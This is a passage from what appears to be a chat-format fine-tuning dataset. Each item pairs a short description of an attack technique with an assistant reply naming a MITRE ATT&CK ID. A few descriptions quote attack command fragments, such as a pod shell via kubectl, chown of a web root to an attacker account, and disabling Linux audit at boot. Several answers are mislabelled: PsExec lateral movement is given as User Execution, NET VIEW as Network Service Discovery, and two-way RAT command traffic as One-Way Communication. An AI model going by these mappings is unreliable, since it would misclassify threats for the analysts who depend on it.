                "role": "assistant",
                "content": "T1114.002 - Email Collection: Remote Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary extracts private keys from a compromised system and uses them to create forged digital signatures for illicit authentication."
            },
            {
                "role": "assistant",
                "content": "T1550 - Use Alternate Authentication Material"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Proxy execution via a signed developer utility allows the adversary to bypass application whitelisting."
            },
            {
                "role": "assistant",
                "content": "T1127 - Trusted Developer Utilities Proxy Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker executes 'kubectl exec -it <pod> -- /bin/bash' to gain shell inside a pod."
            },
            {
                "role": "assistant",
                "content": "T1609 - Container Administration Command"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion set used Azure Blob Storage API calls over HTTPS to exfiltrate confidential files."
            },
            {
                "role": "assistant",
                "content": "T1048 - Exfiltration Over Alternative Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker modifies the com.apple.loginwindow.plist to auto-run a backdoor after user login."
            },
            {
                "role": "assistant",
                "content": "T1647 - Plist File Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a custom Linux ELF binary, the adversary sends SIGTERM to init (PID 1), causing the OS to halt and restart."
            },
            {
                "role": "assistant",
                "content": "T1529 - System Shutdown/Reboot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary reads /proc/$$/environ of processes to extract password hashes stored in memory."
            },
            {
                "role": "assistant",
                "content": "T1003.007 - OS Credential Dumping: Proc Filesystem"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary leverages a phishing email to prompt a victim to click a link that triggers an MFA authentication request on their phone."
            },
            {
                "role": "assistant",
                "content": "T1621 - Multi-Factor Authentication Request Generation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers upload stolen data to a cloud‑based web service using only outbound POST calls, making the communication strictly one‑directional."
            },
            {
                "role": "assistant",
                "content": "T1102.003 - Web Service: One-Way Communication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker manipulates the authentication flow to force the user’s device to approve an MFA request without their knowledge."
            },
            {
                "role": "assistant",
                "content": "T1111 - Multi-Factor Authentication Interception"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor deploys a credential‑stealing tool that authenticates to Office 365 and retrieves mail items from the target's mailbox remotely."
            },
            {
                "role": "assistant",
                "content": "T1114.002 - Email Collection: Remote Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious code uses SAMR protocol to enumerate and access user accounts on a remote system."
            },
            {
                "role": "assistant",
                "content": "T1087 - Account Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious script changes the ownership of /var/www/html to the attacker’s user account via \"chown attacker:attacker\" and relaxes permissions, allowing modification of web content on a Linux web server."
            },
            {
                "role": "assistant",
                "content": "T1222.002 - File and Directory Permissions Modification: Linux and Mac"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor compromises a service account and uses it to send spearphishing emails with embedded malicious LNK files to internal users."
            },
            {
                "role": "assistant",
                "content": "T1534 - Internal Spearphishing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker modifies Odbcconf to load a malicious payload by creating a crafted ODBC driver configuration."
            },
            {
                "role": "assistant",
                "content": "T1218.008 - System Binary Proxy Execution: Odbcconf"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uses a legitimate admin tool like PsExec to move laterally while appearing benign."
            },
            {
                "role": "assistant",
                "content": "T1204 - User Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A Trojan modifies its configuration to connect to a remote server on port 12345, bypassing firewalls that only allow common ports."
            },
            {
                "role": "assistant",
                "content": "T1571 - Non-Standard Port"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious actors purchase detailed design documents for a next‑generation radar system from a black‑market vendor."
            },
            {
                "role": "assistant",
                "content": "T1597.002 - Search Closed Sources: Purchase Technical Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code abuses the Setuid bit on a vulnerable binary to run with elevated privileges."
            },
            {
                "role": "assistant",
                "content": "T1548.001 - Abuse Elevation Control Mechanism: Setuid and Setgid"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor injects code into the launchd process to alter Gatekeeper’s verification routine, permitting execution of tampered apps."
            },
            {
                "role": "assistant",
                "content": "T1553.001 - Subvert Trust Controls: Gatekeeper Bypass"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor abuses legitimate domain accounts to execute commands on other hosts via RDP."
            },
            {
                "role": "assistant",
                "content": "T1078.002 - Valid Accounts: Domain Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor performs DHCP spoofing by responding to DHCPDISCOVER requests with forged offers, redirecting victim traffic to a controlled host."
            },
            {
                "role": "assistant",
                "content": "T1557.003 - Adversary-in-the-Middle: DHCP Spoofing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion team changes the audit configuration to a minimal rule set, allowing them to evade detection."
            },
            {
                "role": "assistant",
                "content": "T1562.012 - Impair Defenses: Disable or Modify Linux Audit System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary's tool uses the extra window memory injection method to place a remote code segment within a target application’s window structures, achieving code execution without loading a DLL."
            },
            {
                "role": "assistant",
                "content": "T1055.011 - Process Injection: Extra Window Memory Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor places a Unicode Right-to-Left Override (U+202E) character at the start of a Windows executable filename, causing the displayed name to appear benign while the actual file runs malicious code."
            },
            {
                "role": "assistant",
                "content": "T1036.002 - Masquerading: Right-to-Left Override"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries compromised an AWS Lambda function and used it to invoke the AWS Systems Manager Run Command, achieving direct remote code execution on a target EC2 VM."
            },
            {
                "role": "assistant",
                "content": "T1021.008 - Remote Services: Direct Cloud VM Connections"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The exploit reads password data from the Windows Credential Manager's generic credential objects."
            },
            {
                "role": "assistant",
                "content": "T1555 - Credentials from Password Stores"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses the system’s built‑in cloud sync feature (e.g., OneDrive) to silently upload stolen files to a compromised account."
            },
            {
                "role": "assistant",
                "content": "T1567.002 - Exfiltration Over Web Service: Exfiltration to Cloud Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Exploiting a privilege escalation bug in a desktop application, the attacker forces the program to repeatedly restart, effectively taking the endpoint offline."
            },
            {
                "role": "assistant",
                "content": "T1499.004 - Endpoint Denial of Service: Application or System Exploitation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An industrial control system receives malformed input that injects malicious commands into its control scripts."
            },
            {
                "role": "assistant",
                "content": "T1659 - Content Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware employs a rate‑limiting function, ensuring each outbound packet does not exceed 100 KB, to evade IDS signatures."
            },
            {
                "role": "assistant",
                "content": "T1030 - Data Transfer Size Limits"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers deploy PsExec to execute a payload on a remote machine after compromising a privileged account."
            },
            {
                "role": "assistant",
                "content": "T1021.002 - Remote Services: SMB/Windows Admin Shares"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor reuses previously leaked corporate credentials to gain unauthorized access to the organization’s internal ticketing system."
            },
            {
                "role": "assistant",
                "content": "T1078 - Valid Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Hackers take over a botnet of infected gaming consoles, using them to distribute ransomware payloads to other vulnerable machines."
            },
            {
                "role": "assistant",
                "content": "T1584.005 - Compromise Infrastructure: Botnet"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker hijacks the VDSO mapping to inject shellcode that runs with the same privileges as the target application."
            },
            {
                "role": "assistant",
                "content": "T1055.014 - Process Injection: VDSO Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages the Netsh helper DLL feature to execute a backdoor each time a network command is issued."
            },
            {
                "role": "assistant",
                "content": "T1546.007 - Event Triggered Execution: Netsh Helper DLL"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Reusing credentials across multiple sites and services"
            },
            {
                "role": "assistant",
                "content": "T1586 - Compromise Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder added a line `audit=0` to the GRUB configuration and regenerated the bootloader to disable auditing at boot."
            },
            {
                "role": "assistant",
                "content": "T1562.012 - Impair Defenses: Disable or Modify Linux Audit System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat group exploits RDP brute-force attacks to gain initial access to the network."
            },
            {
                "role": "assistant",
                "content": "T1021.001 - Remote Services: Remote Desktop Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leveraged a vulnerable application to inject malicious data into the backend NoSQL database, altering application behavior."
            },
            {
                "role": "assistant",
                "content": "T1565.001 - Data Manipulation: Stored Data Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group modifies an existing exploit for a CVE in a popular email client to deliver a phishing payload."
            },
            {
                "role": "assistant",
                "content": "T1587.004 - Develop Capabilities: Exploits"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware overwrites a JSON-based settings file to grant elevated privileges to its process."
            },
            {
                "role": "assistant",
                "content": "T1565.001 - Data Manipulation: Stored Data Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors use compromised service accounts to run Exchange Web Services (EWS) queries that pull all email items."
            },
            {
                "role": "assistant",
                "content": "T1114 - Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A RAT utilizes a hidden iframe in a malicious webpage to send and receive commands via HTTP POST requests."
            },
            {
                "role": "assistant",
                "content": "T1102.003 - Web Service: One-Way Communication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary compromised a third‑party dependency by publishing a malicious update to the package index, which was automatically pulled into many downstream projects."
            },
            {
                "role": "assistant",
                "content": "T1195.002 - Supply Chain Compromise: Compromise Software Supply Chain"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code was introduced into a widely-used third‑party library on a public repository, allowing the attacker to execute arbitrary commands on any host that installed the library."
            },
            {
                "role": "assistant",
                "content": "T1195.002 - Supply Chain Compromise: Compromise Software Supply Chain"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The implant queries the system's PnP device tree to gather details about peripheral hardware."
            },
            {
                "role": "assistant",
                "content": "T1120 - Peripheral Device Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor configures an Outlook rule to execute a hidden VBScript whenever an email with a certain subject is opened, enabling persistence."
            },
            {
                "role": "assistant",
                "content": "T1137.005 - Office Application Startup: Outlook Rules"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker modifies file headers to masquerade a malicious binary as a PDF document."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Spyware reads Office 365 unified audit logs via API to enumerate user actions such as file downloads."
            },
            {
                "role": "assistant",
                "content": "T1654 - Log Enumeration"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware issues NET VIEW commands to list shared resources on Windows machines in the domain."
            },
            {
                "role": "assistant",
                "content": "T1046 - Network Service Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor compromises an on‑premises Active Directory server and injects malicious Kerberos tickets that are then accepted by Azure AD, effectively modifying the authentication process for hybrid identity users."
            },
            {
                "role": "assistant",
                "content": "T1556.007 - Modify Authentication Process: Hybrid Identity"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware uses DNS queries to exfiltrate data by encoding payloads within domain name requests, creating a covert channel for communication."
            },
            {
                "role": "assistant",
                "content": "T1572 - Protocol Tunneling"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor registers a free hosting account on a popular cloud provider and deploys a malicious web server to host command‑and‑control payloads."
            },
            {
                "role": "assistant",
                "content": "T1583.006 - Acquire Infrastructure: Web Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary exploits the pre‑OS boot process by pointing the target's network boot to a rogue TFTP server, enabling the deployment of a malicious payload that runs before the operating system starts."
            },
            {
                "role": "assistant",
                "content": "T1542.005 - Pre-OS Boot: TFTP Boot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A trojan implements a fallback C2 mechanism using a public pastebin‑like web service to retrieve commands."
            },
            {
                "role": "assistant",
                "content": "T1102 - Web Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers exploited improperly configured AWS IAM roles to start a Session Manager session, achieving direct remote access to a victim's EC2 instance."
            },
            {
                "role": "assistant",
                "content": "T1021.008 - Remote Services: Direct Cloud VM Connections"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "AAPT groups infiltrate a third‑party data center and install hidden backdoors on the network equipment."
            },
            {
                "role": "assistant",
                "content": "T1584 - Compromise Infrastructure"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A trojan periodically performs DNS lookups for domains that are encoded with a rotating key, allowing it to retrieve the IP address of its controller."
            },
            {
                "role": "assistant",
                "content": "T1568 - Dynamic Resolution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary employs RtlCreateUserThread to create a new thread in a target process, achieving execution of malicious routines via thread hijacking."
            },
            {
                "role": "assistant",
                "content": "T1055.003 - Process Injection: Thread Execution Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A cyber‑espionage group acquired a collection of client‑side exploitation kits for browser vulnerabilities from an underground forum to embed in spear‑phishing emails."
            },
            {
                "role": "assistant",
                "content": "T1588.006 - Obtain Capabilities: Vulnerabilities"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor creates a new boot loader entry in the BCD store to load their malware before Windows starts."
            },
            {
                "role": "assistant",
                "content": "T1542 - Pre-OS Boot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor edits the PAM service files to change the \"auth\" control flag from \"required\" to \"sufficient\", bypassing standard authentication checks."
            },
            {
                "role": "assistant",
                "content": "T1556.003 - Modify Authentication Process: Pluggable Authentication Modules"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uses Python's ldap3 library to pull all domain trust relationships from AD."
            },
            {
                "role": "assistant",
                "content": "T1482 - Domain Trust Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor executed a script that overwrites all sectors of the hard drive, effectively wiping all user data."
            },
            {
                "role": "assistant",
                "content": "T1561.001 - Disk Wipe: Disk Content Wipe"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Post‑exploitation, the group eradicated persistence by wiping out all modified crontab entries and removing malicious init scripts."
            },
            {
                "role": "assistant",
                "content": "T1070.009 - Indicator Removal: Clear Persistence"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised host ran /bin/sh commands to enumerate user accounts and retrieve password hashes."
            },
            {
                "role": "assistant",
                "content": "T1059.004 - Command and Scripting Interpreter: Unix Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A social media post shares a seemingly innocent GIF; the GIF exploits a buffer overflow in the media player, leading to user‑level code execution."
            },
            {
                "role": "assistant",
                "content": "T1204.003 - User Execution: Malicious Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor calls Okta API to retrieve group listings and member details for cloud resources."
            },
            {
                "role": "assistant",
                "content": "T1069.003 - Permission Groups Discovery: Cloud Groups"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware reads the SAM database by loading the registry hive and dumping the hashed passwords."
            },
            {
                "role": "assistant",
                "content": "T1003.002 - OS Credential Dumping: Security Account Manager"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary creates a scheduled task using the Windows 'at' command to execute a PowerShell backdoor every day at 3 AM."
            },
            {
                "role": "assistant",
                "content": "T1053.002 - Scheduled Task/Job: At"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a legitimate VPN account, the adversary establishes a persistent foothold within the organization."
            },
            {
                "role": "assistant",
                "content": "T1078 - Valid Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An advanced persistent threat uses DCSync to replicate the password hash of the Administrator account without needing to dump the SAM database."
            },
            {
                "role": "assistant",
                "content": "T1003.006 - OS Credential Dumping: DCSync"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker manipulates the configuration files of a VPN client to force the use of a weak Diffie‑Hellman group with a 1024‑bit prime, shrinking the effective key space for key exchange."
            },
            {
                "role": "assistant",
                "content": "T1600.001 - Weaken Encryption: Reduce Key Space"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious mobile app requests access to the user's corporate email and captures the authentication token."
            },
            {
                "role": "assistant",
                "content": "T1586.002 - Compromise Accounts: Email Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
